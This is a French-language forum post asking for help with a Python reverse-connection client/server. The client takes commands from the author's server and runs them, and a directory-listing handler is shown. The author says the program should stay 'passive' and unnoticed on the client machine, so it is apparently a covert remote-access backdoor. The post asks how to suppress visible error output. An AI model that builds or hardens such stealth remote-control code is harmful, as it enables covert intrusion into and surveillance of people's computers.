Bonjour,

Je suis en train de programmer une petite application Client/Serveur qui fonctionne un peu de cette façon:

Le client cherche à se connecter perpétuellement au serveur.
Par conséquent, lorsque j'ouvre le serveur de mon côté, le client s'y connecte (c'est donc une "reverse connection", on retrouve ce principe dans Metasploit).
Le client se met en attente de requêtes de la part de mon serveur.
Lorsqu'il reçoit une réponse, il la traite (selon une série de if, elif et else) et renvoie une réponse au serveur (commande exécuté avec succès, erreur non spécifié ou plus généralement un message personnalisé...)
Et voila pour le principe.

Tout le bousin fonctionne plus ou moins bien (il reste encore énormément de choses à ajouter et d'autre à corriger).
Je m'attelle en ce moment à la correction de bugs évidents.

Je vous met ici la partie de mon programme qui pose problème:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
    #ls
    elif comm == "ls":
        try:
            liste = os.listdir(".")
            response = ""
            SOCK.send("buffer".encode("Utf-8"))
            for i in liste:
                if os.path.isdir(i):
                    response = response + "\n" + "REP--->  " + i + "/"
                elif os.path.isfile(i):
                    response = response + "\n" + "FILE-->  " + i
                else:
                    response = response + "\n" + "UNKN-->  " + i + "~"
            SOCK.send(response.encode("Utf-8"))
            del response
        except:
            SOCK.send("Mauvais repertoire".encode("Utf-8"))
(c'est la partie Client)
La variable comm, est la commande qu'a envoyé le serveur.
"ls" est une commande UNIX bien connue permettant d'afficher le contenu du répertoire actuelle.
Donc lorsque le serveur tape "ls", le client tentera d’exécuter : os.listdir(".").
Si il n'y arrive pas, il lui renvoie "Mauvais répertoire".
L'envoie de "buffer" précise seulement au serveur d'augmenter la taille de son buffer.
Donc de passer de ça:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
response = conn.recv(1024).decode("Utf-8")
à ça:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
print(conn.recv(10240).decode("Utf-8"))
(il attend donc une réponse 10x plus grande, le contenu des répertoire oblige...)


Enfin bref.
Le vrai problème réside dans le fait que si le répertoire à afficher contient des caractères un peu spéciaux, tout part en sucette...

En effet, comme on le voit, la liste des éléments (les noms des fichiers et répertoires qui se trouve dans le répertoire courant) seront formaté d'une façon particulière puis inséré dans la variable "response" qui sera par la suite envoyé au serveur.

Sauf que de son côté, le serveur fait ceci:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
print(conn.recv(10240).decode("Utf-8"))
Or, si ma variable "response" contient des caractères spéciaux le serveur plantera à cause d'une erreur: UnicodeEncodeError (et le client aussi par la même occasion à cause d'une socket.error).


En fait, l'erreur n'est pas déclencher à "decode("Utf-8")" mais lors du print effectué par le serveur.
J'ai donc trouvé un moyen qui me déplait fortement :
Faire afficher le contenu de la variable "i" du côté client dans un try: et en cas d'erreur, passer dans un except puis faire:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
reponse = response + "\n" + "ENCODE ERROR"
Cela fonctionne mais pose un problème plus gros encore:
Ce programme à pour but d'être passif, si le client voit s'afficher la liste entière d'un de ses répertoires, ça risque de ne plus passer inaperçu...

Ma question est la suivante:
Existe-t-il un moyen de faire vérifier "response" par le client et de remplacer les lignes incriminées par "ENCODE ERROR" sans afficher quoi que ce soit côté client ?